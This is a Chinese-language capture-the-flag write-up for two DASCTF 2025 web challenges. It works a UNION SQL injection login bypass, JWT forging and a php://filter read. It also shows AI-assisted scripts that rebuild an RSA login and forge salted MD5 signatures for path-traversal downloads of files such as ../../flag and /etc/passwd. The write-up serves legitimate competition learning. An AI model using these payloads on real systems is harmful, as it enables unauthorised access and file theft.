文章

dasctf2025下半年 web WP

dasctf2025下半年 web WP

SecretPhotoGallery

使用联合注入登录:username=’ UNION SELECT 1,2,3– &password=123456

在页面源代码看到这些注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Photo 1: G -->
<!-- Photo 14: C -->
<!-- Photo 9: 0 -->
<!-- Photo 16: E -->
<!-- Photo 6: R -->
<!-- Photo 8: 2 -->
<!-- Photo 12: S -->
<!-- Photo 5: E -->
<!-- Photo 2: A -->
<!-- Photo 11: 4 -->
<!-- Photo 4: L -->
<!-- Photo 3: L -->
<!-- Photo 10: 2 -->
<!-- Photo 13: E -->
<!-- Photo 15: R -->
<!-- Photo 17: T -->
<!-- Photo 7: Y -->

拼起来是 GALLERY2024SECRET,是 jwt 的密钥。修改 jwt 为 admin,进入管理员页面。然后用伪协议 php://filter/convert.iconv.utf-8.utf-32/resource=flag.php 读取flag

devweb

抓包发现 /assets/index-BgDOi0T5.js,丢给AI分析一下

这是一个来自 CTF 题目的 Vue.js 前端打包文件。经过分析,我发现了一个严重的文件下载漏洞逻辑以及登录加密的实现细节。

以下是该文件的核心分析和解题思路:

1. 核心漏洞:任意文件下载 (Arbitrary File Download)

在代码末尾的 Fd 组件中(即 Dashboard 页面),存在一个 downloadFile 方法,其逻辑如下:

1
2
3
4
downloadFile(t) {
    alert(`正在下载文件: ${t.name}`),
    window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
}
  • 硬编码的签名:代码中硬编码了 sign 值为 6f742c2e79030435b7edc1d79b8678f6
  • 签名算法推测:这个哈希值 6f742c2e79030435b7edc1d79b8678f6 正好是字符串 app.jmxMD5 值
    • 这意味着服务器端的验证逻辑很可能是:check if md5(filename) == sign

利用方案: 你可以利用这个逻辑下载服务器上的任意文件(如 flag, /etc/passwd, WEB-INF/web.xml 等)。你需要做的就是将目标文件名进行 MD5 加密,替换 URL 中的 sign 参数。

Payload 生成示例 (Python):

1
2
3
4
5
6
7
8
9
10
11
import hashlib

# 目标文件名,尝试常见 CTF 标志
targets = ['flag', '/flag', 'flag.txt', '/etc/passwd', 'index.php', 'app.py']

for filename in targets:
    # 计算文件名的 MD5
    sign = hashlib.md5(filename.encode()).hexdigest()
    print(f"File: {filename}")
    print(f"URL: /download?file={filename}&sign={sign}")
    print("-" * 30)

2. 登录逻辑与 RSA 加密

代码中的 cp 组件(登录页面)包含 RSA 加密逻辑。

  • 公钥

    1
    
    MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=
    
  • 加密过程: 在提交登录时,前端使用 jsrsasign 库(代码中的 Oo 类)对 密码 (password) 进行了 RSA 加密,但 用户名 (username) 是明文传输的。

    1
    
    "username=" + encodeURIComponent(this.username) + "&password=" + encodeURIComponent(t.encrypt(this.password))
    

点击登录,没有发送请求,显示请求超时。再让AI分析一下

这是一道非常经典的“开发环境遗留代码”类型的 CTF 题目。正如题名 devweb(开发中的网站)所暗示的,开发者在发布代码时犯了两个严重的错误,导致你无法正常登录。

这就是为什么你点击登录显示“请求超时”,且抓不到包的原因:

错误原因分析

通过分析你提供的 index-BgDOi0T5.js 文件代码,可以发现两个致命问题:

1. 请求被发送到了 localhost(请求超时原因)

submitLogin 方法中,请求的 URL 被硬编码为了 本地地址

1
dt.post("http://localhost:8080/login", t, { ... })

原因:这是开发者的本地测试地址。 现象:你在自己的浏览器中运行这段代码,浏览器会尝试连接 你自己电脑(localhost) 的 8080 端口。因为你的电脑上没有运行这个服务的后端,连接被拒绝(Connection Refused),Axios 库捕获到这个网络错误,从而显示“请求超时”。这就是为什么你在 Network 标签页看不到发往 CTF 服务器的请求。

2. 公钥被注释掉了(加密失败隐患)

data() 函数中,RSA 公钥被注释掉了:

1
2
3
4
5
6
7
8
data() {
    return {
        username: "",
        password: "",
        //publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
        errorMessage: ""
    }
}

后果handleSubmit 函数中调用 t.setPublicKey(this.publicKey) 时,this.publicKeyundefined。即使你修复了网络请求问题,加密出来的密码也是错误的,或者加密过程会直接报错。

让AI写一个登录前端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>DevWeb CTF - Custom Login Exploit</title>
    <!-- 引入 jsrsasign 库,用于 RSA 加密 -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jsrsasign/10.5.1/jsrsasign-all-min.js"></script>
    <style>
        body { font-family: sans-serif; padding: 20px; background: #f0f2f5; }
        .container { max-width: 500px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
        .form-group { margin-bottom: 15px; }
        label { display: block; margin-bottom: 5px; font-weight: bold; }
        input, textarea { width: 100%; padding: 8px; box-sizing: border-box; border: 1px solid #ddd; border-radius: 4px; }
        textarea { height: 100px; font-family: monospace; }
        button { background: #007bff; color: white; border: none; padding: 10px 15px; border-radius: 4px; cursor: pointer; width: 100%; font-size: 16px; }
        button:hover { background: #0056b3; }
        #result { margin-top: 20px; white-space: pre-wrap; background: #333; color: #0f0; padding: 10px; border-radius: 4px; display: none; }
        .tips { font-size: 12px; color: #666; margin-bottom: 15px; }
    </style>
</head>
<body>

<div class="container">
    <h2>DevWeb 登录测试器</h2>
    <p class="tips">此工具用于手动构造请求,测试 SQL 注入或弱口令。</p>

    <div class="form-group">
        <label for="targetUrl">目标 URL:</label>
        <!-- 修改这里为你的靶机地址,例如 http://192.168.1.100:8080/login -->
        <input type="text" id="targetUrl" value="http://fb7544d6-2fab-494b-bd88-036712badf33.node5.buuoj.cn:81/login" placeholder="http://target-ip:port/login">
    </div>

    <div class="form-group">
        <label for="username">用户名 (Username):</label>
        <input type="text" id="username" value="admin" placeholder="尝试 admin' # 或 admin">
    </div>

    <div class="form-group">
        <label for="password">密码 (Password):</label>
        <input type="text" id="password" value="123456" placeholder="密码会被 RSA 加密">
    </div>

    <button onclick="doLogin()">发送登录请求</button>

    <div id="result"></div>
    
    <h3>调试信息 (Debug)</h3>
    <div class="form-group">
        <label>加密后的 Payload:</label>
        <textarea id="debugPayload" readonly></textarea>
    </div>
</div>

<script>
    // 题目中提取的公钥
    const PUBLIC_KEY = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=";

    function encryptPassword(password) {
        try {
            // 使用 jsrsasign 进行 RSA 加密
            // 1. 读取公钥
            const pubKeyObj = KEYUTIL.getKey("-----BEGIN PUBLIC KEY-----\n" + PUBLIC_KEY + "\n-----END PUBLIC KEY-----");
            
            // 2. 加密 (PKCS1Padding 是最常见的填充方式)
            const encryptedHex = KJUR.crypto.Cipher.encrypt(password, pubKeyObj, "RSA");
            
            // 3. 这里的库返回的是 Hex 字符串,题目中的 js 似乎使用了 Hex 转 Base64 或者直接传输 Hex
            // 回看题目代码:t.encrypt(this.password)
            // 根据常规 RSA 实现,通常最后传输的是 Base64。
            // 我们先把 Hex 转为 Base64
            return hextob64(encryptedHex);
        } catch (e) {
            console.error(e);
            return "Encryption Failed: " + e.message;
        }
    }

    async function doLogin() {
        const targetUrl = document.getElementById('targetUrl').value;
        const username = document.getElementById('username').value;
        const password = document.getElementById('password').value;
        const resultDiv = document.getElementById('result');
        const debugPayload = document.getElementById('debugPayload');

        resultDiv.style.display = 'block';
        resultDiv.innerText = "正在加密并发送...";

        // 1. 加密密码
        const encryptedPass = encryptPassword(password);
        
        // 2. 构造 POST 数据 (application/x-www-form-urlencoded)
        const postBody = `username=${encodeURIComponent(username)}&password=${encodeURIComponent(encryptedPass)}`;
        
        debugPayload.value = postBody;

        try {
            // 3. 发送请求
            const response = await fetch(targetUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded'
                },
                body: postBody
            });

            const text = await response.text();
            resultDiv.innerText = `状态码: ${response.status}\n\n响应内容:\n${text}`;
            
        } catch (error) {
            resultDiv.innerText = `请求出错 (可能是跨域 CORS 问题或网络不通):\n${error.message}\n\n建议: 打开 F12 Network 面板查看详细错误,或在 Burp Suite 中重放此请求。`;
        }
    }
</script>

</body>
</html>

登录后发现被重定向到 /dashboard;jsessionid=CF8C58E749FB31B10AD74C6C5B94348D,但是404了。把JSESSIONID=CF8C58E749FB31B10AD74C6C5B94348D作为cookie,去 /download下载文件,让 Ai 写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

# 填入你抓包获取的 JSESSIONID
session_id = "E22F3EDE57A5E8D0F742E8C349432B3E"

url = "http://fb7544d6-2fab-494b-bd88-036712badf33.node5.buuoj.cn:81/download"
params = {
    "file": "app.jmx",  # 如果不行尝试 /flag 或 ../flag
    "sign": "6f742c2e79030435b7edc1d79b8678f6" # md5('flag')
}
headers = {
    "Cookie": f"JSESSIONID={session_id}"
}

try:
    response = requests.get(url, params=params, headers=headers)
    print(f"状态码: {response.status_code}")
    print(f"响应内容: {response.text}")
except Exception as e:
    print(e)

这里的 md5 加了 salt,之前的 js 文件中泄露了 app.jmx 和对应的 md5 值,先读一下这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
    <hashTree>
        <TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
            <stringProp name="TestPlan.functional_mode">false</stringProp>
            <boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
            <elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                <collectionProp name="Arguments.arguments">
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
                        <stringProp name="Argument.name">mingWen</stringProp>
                        <stringProp name="Argument.value">test</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
                        <stringProp name="Argument.name">salt</stringProp>
                        <stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                </collectionProp>
            </elementProp>
            <stringProp name="TestPlan.comments_or_notes"/>
            <boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
        </TestPlan>
        <hashTree>
            <ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
                <stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
                <elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
                    <boolProp name="LoopController.continue_forever">false</boolProp>
                    <intProp name="LoopController.loops">1</intProp>
                </elementProp>
                <stringProp name="ThreadGroup.num_threads">1</stringProp>
                <stringProp name="ThreadGroup.ramp_time">1</stringProp>
                <longProp name="ThreadGroup.start_time">0</longProp>
                <longProp name="ThreadGroup.end_time">0</longProp>
                <boolProp name="ThreadGroup.scheduler">false</boolProp>
                <stringProp name="ThreadGroup.duration"></stringProp>
                <stringProp name="ThreadGroup.delay"></stringProp>
                <boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
            </ThreadGroup>
            <hashTree>
                <JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
                    <stringProp name="JSR223PreProcessor.language">groovy</stringProp>
                    <stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
                    <stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
                    <stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
                    <stringProp name="JSR223PreProcessor.script">
                        def mingWen = vars.get('mingWen');
                        def firstMi = DigestUtils.md5Hex(mingWen);
                        def jieStr = firstMi.substring(5, 16);
                        def salt = vars.get('salt');
                        def newStr = firstMi + jieStr + salt;
                        def sign = DigestUtils.md5Hex(newStr);
                        vars.put('sign', sign);
                    </stringProp>
                </JSR223PreProcessor>
                <hashTree/>
                <HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
                    <boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
                    <stringProp name="Comment"/>
                    <elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                        <collectionProp name="Arguments.arguments">
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
                                <stringProp name="Argument.name">file</stringProp>
                                <stringProp name="Argument.value">test</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
                                <stringProp name="Argument.name">sign</stringProp>
                                <stringProp name="Argument.value">${sign}</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                        </collectionProp>
                    </elementProp>
                    <stringProp name="HTTPSampler.domain">localhost</stringProp>
                    <stringProp name="HTTPSampler.port">8080</stringProp>
                    <stringProp name="HTTPSampler.protocol">http</stringProp>
                    <stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
                    <stringProp name="HTTPSampler.path">/download</stringProp>
                    <stringProp name="HTTPSampler.method">GET</stringProp>
                    <boolProp name="HTTPSampler.follow_redirects">true</boolProp>
                    <boolProp name="HTTPSampler.auto_redirects">false</boolProp>
                    <boolProp name="HTTPSampler.use_keepalive">true</boolProp>
                    <boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
                    <stringProp name="HTTPSampler.body_data"/>
                    <boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
                    <stringProp name="HTTPSampler.proxy_host"/>
                    <stringProp name="HTTPSampler.proxy_port"/>
                    <stringProp name="HTTPSampler.proxy_username"/>
                    <stringProp name="HTTPSampler.proxy_password"/>
                    <stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
                </HTTPSamplerProxy>
                <hashTree/>
            </hashTree>
        </hashTree>
    </hashTree>
</jmeterTestPlan>

得到 salt 是 f9bc855c9df15ba7602945fb939deefc,让 ai 写一个 md5 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib

def calculate_sign(filename):
    # 固定盐值
    salt = "f9bc855c9df15ba7602945fb939deefc"
    
    # 1. 计算文件名的 MD5 (firstMi)
    first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
    
    # 2. 截取第 5 到 16 位 (Java 的 substring(5, 16) 对应 Python 的切片 [5:16])
    jie_str = first_mi[5:16]
    
    # 3. 拼接
    new_str = first_mi + jie_str + salt
    
    # 4. 计算最终 sign
    sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
    
    return sign

# 生成常见 flag 路径的 Payload
targets = ["flag", "/flag", "../../flag", "app.jmx","flag.php","../flag.php","/etc/passwd"]

print(f"{'Filename':<15} | {'Sign':<32}")
print("-" * 50)
for t in targets:
    s = calculate_sign(t)
    print(f"{t:<15} | {s}")

flag 在 ../../flag,用生成的 md5 值和之前的脚本读取到 flag

本文由作者按照 CC BY 4.0 进行授权